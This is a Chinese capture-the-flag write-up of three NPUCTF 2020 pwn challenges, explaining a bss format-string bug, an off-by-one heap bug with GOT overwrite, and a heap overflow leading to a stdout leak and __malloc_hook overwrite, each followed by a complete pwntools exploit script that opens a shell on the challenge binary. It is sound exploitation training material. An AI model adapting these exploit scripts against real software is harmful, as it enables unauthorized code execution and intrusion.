2020 NUPCTF pwn题目
去年的一场比赛,今年来把去年不会做的题目来看一下,只在buu找到三道题,剩下两道好像是内核题,算了,估计找到也不会做。
npuctf_2020_level2
bss段上的格式化字符串漏洞的利用。
程序还是比较简单的,一个while循环套着一个read和printf,printf存在格式化字符串漏洞,buf是在bss段上。不能直接找偏移用pwntools模块生成payload,这里需要利用栈上的栈链来间接的修改。这里选择将返回地址修改成one_gadgets的地址拿shell。
这里rbp+8的位置是返回地址,偏移为7,所以直接%7$p可以泄露libc地址,在rbp+0x18的位置有一条栈链,这里是0x7ffd4e443678 —▸ 0x7ffd4e443748 —▸ 0x7ffd4e444fce,实际上我们对偏移为9处进行写入,实际上修改的就是0x7ffd4e444fce,我们这个地址改成rbp+8的地址,让这条链变成0x7ffd4e443678 —▸ 0x7ffd4e443748 —▸ 0x7ffd4e443668。
因为程序再次运行了,所以和上面的地址对应不上了,但是基本的逻辑还在,让这条链指向了rbp+8,这个时候我们找到0x7ffd742cc6e8。
这里的偏移是35,对这里进行写入,其实就是修改0x7f48b4ed1b97这个值,把这个值改成one_gadgets,然后输入'66666666\x00'让程序返回,就拿到shell了。(这里的\x00用来截断,我做的时候在这里卡了半个小时)
大概思路就是这样,剩下的都是一些调试就能出的细枝末节,直接贴exp了。
1 from pwn import * 2 3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-buu.so'}) 4 elf = ELF('./pwn') 5 libc = ELF('./libc-2.27-buu.so') 6 context(os='linux', arch='amd64', log_level='debug') 7 8 def duan(): 9 gdb.attach(p) 10 pause() 11 12 og = [0x4f2c5,0x4f322,0xe569f,0xe585f,0xe5858,0xe5863,0x10a38c,0x10a398] 13 14 p.sendline('%7$p-%9$p') 15 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main'] 16 p.recvuntil('-') 17 stack_ret = int(p.recv(14),16)-0xe0 18 low_ret = stack_ret&0xffff 19 print 'libc_base-->'+hex(libc_base) 20 print 'stack_ret-->'+hex(stack_ret) 21 print 'low_ret-->'+hex(low_ret) 22 for i in range(len(og)): 23 print str(i)+'-->'+hex(libc_base+og[i]) 24 shell = libc_base+og[0] 25 sleep(0.2) 26 27 payload = '%'+str(stack_ret&0xffff)+'c%9$hn...' 28 p.sendline(payload) 29 p.recvuntil('...') 30 sleep(0.2) 31 32 payload = '%'+str(shell&0xffff)+'c%35$hn...' 33 p.sendline(payload) 34 p.recvuntil('...') 35 sleep(0.2) 36 37 payload = '%'+str((stack_ret&0xffff)+2)+'c%9$hn...' 38 p.sendline(payload) 39 p.recvuntil('...') 40 sleep(0.2) 41 42 payload = '%'+str((shell>>0x10)&0xff)+'c%35$hhn...' 43 p.sendline(payload) 44 p.recvuntil('...') 45 sleep(0.2) 46 47 payload = '66666666\x00' 48 p.send(payload) 49 sleep(0.2) 50 p.interactive()
easyheap
没开pie,RELRO: Partial RELRO,可写got表。增删查改功能都有,在edit中存在off by one漏洞。
对堆块进行构造,利用edit函数修改指针,将头指针指向got表泄露libc地址,然后修改atoi为system,输入'/bin/sh\x00'进行拿shell。
exp:
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 context.log_level = 'debug' 7 8 def duan(): 9 gdb.attach(p) 10 pause() 11 12 def add(size,content): 13 p.sendlineafter('choice :','1') 14 p.sendlineafter('only) : ',str(size)) 15 p.sendafter('Content:',content) 16 17 def edit(index,content): 18 p.sendlineafter('choice :','2') 19 p.sendlineafter('Index :',str(index)) 20 p.sendafter('Content:',content) 21 22 def show(index): 23 p.sendlineafter('choice :','3') 24 p.sendlineafter('Index :',str(index)) 25 26 def delete(index): 27 p.sendlineafter('choice :','4') 28 p.sendlineafter('Index :',str(index)) 29 30 atoi_got = elf.got['atoi'] 31 32 add(0x18,'aaaaaaaa') #0 33 add(0x18,'bbbbbbbb') #1 34 edit(0,'aaaaaaaa'*3+'\x41') 35 delete(1) 36 add(0x38,'cccccccc') 37 edit(1,p64(0)*3+p64(0x21)+p64(0x38)+p64(atoi_got)) 38 show(1) 39 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['atoi'] 40 print 'libc_base-->' + hex(libc_base) 41 42 system = libc_base + libc.symbols['system'] 43 44 edit(1,p64(system)) 45 p.recvuntil('choice :') 46 p.sendline('/bin/sh\n') 47 p.interactive()
bad_guy
保护全开,堆菜单题,但是没有show函数,不能leak libc。edit函数存在堆溢出,随便溢出。
思路:fastbins加溢出,构造unsorted chunk,释放得到libc地址,修改后两个字节,'\xdd\x65',这里的0x65dd,6是1/16的概率打到io结构体上,5dd是固定的偏移,这里正好能够绕过fastbins的检查,在这里申请chunk,能修改到stdout结构体的东西。
这里需要将flags的标志位改成0xfbad1800,_IO_read_ptr、_IO_read_end、_IO_read_base可以随便覆盖,需要将_IO_write_base的末尾改小,改成'\x00‘,这样能输出更多东西。然后就会输出libc地址,拿到libc地址之后就是常规的打__malloc_hook拿shell了。
1 from pwn import * 2 3 #p = process('./pwn') 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 #libc = ELF('./libc-2.23.so') 7 context.log_level = 'debug' 8 9 def duan(): 10 gdb.attach(p) 11 pause() 12 13 def add(index,size,content): 14 p.sendlineafter('>> ','1') 15 p.sendlineafter('Index :',str(index)) 16 p.sendlineafter('size: ',str(size)) 17 p.sendafter('Content:',content) 18 19 def edit(index,size,content): 20 p.sendlineafter('>> ','2') 21 p.sendlineafter('Index :',str(index)) 22 p.sendlineafter('size: ',str(size)) 23 p.sendafter('content: ',content) 24 25 def delete(index): 26 p.sendlineafter('>> ','3') 27 p.sendlineafter('Index :',str(index)) 28 29 og = [0x45226,0x4527a,0xf0364,0xf1207] 30 #og = [0x45216,0x4526a,0xf02a4,0xf1147] 31 32 while True: 33 try: 34 p = process('./pwn') 35 add(0,0x20,'aaaaaaaa') 36 add(1,0x20,'bbbbbbbb') 37 add(2,0x60,'cccccccc') 38 add(3,0x20,'dddddddd') 39 delete(2) 40 edit(0,0x40,'aaaaaaaa'+p64(0)*4+p64(0xa1)) 41 delete(1) 42 add(1,0x20,'aaaaaaaa') 43 edit(1,0x48,'aaaaaaaa'+p64(0)*4+p64(0x71)+'\xdd\x25') 44 add(2,0x60,'aaaaaaaa') 45 add(4,0x60,'a'*0x13+p64(0)*4+p64(0xfbad1800)+p64(0)*3+'\x00') 46 p.recvuntil('\x7f') 47 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x83-libc.symbols['_IO_2_1_stdout_'] 48 print 'libc_base-->'+hex(libc_base) 49 shell = libc_base+og[3] 50 malloc_hook = libc_base+libc.symbols['__malloc_hook'] 51 print '------>'+hex(malloc_hook-0x23) 52 sleep(3) 53 print '---------------------' 54 delete(2) 55 edit(1,0x40,'zzzzzzzz'+p64(0)*4+p64(0x71)+p64(malloc_hook-0x23)) 56 add(2,0x60,'aaaaaaaa') 57 add(7,0x60,'a'*0x13+p64(shell)) 58 p.sendlineafter('>> ','1') 59 p.sendlineafter('Index :','7') 60 p.sendlineafter('size: ',str(0x60)) 61 #duan() 62 break 63 except: 64 p.close() 65 66 p.sendline('cat flag\x00') 67 p.recv() 68 p.interactive()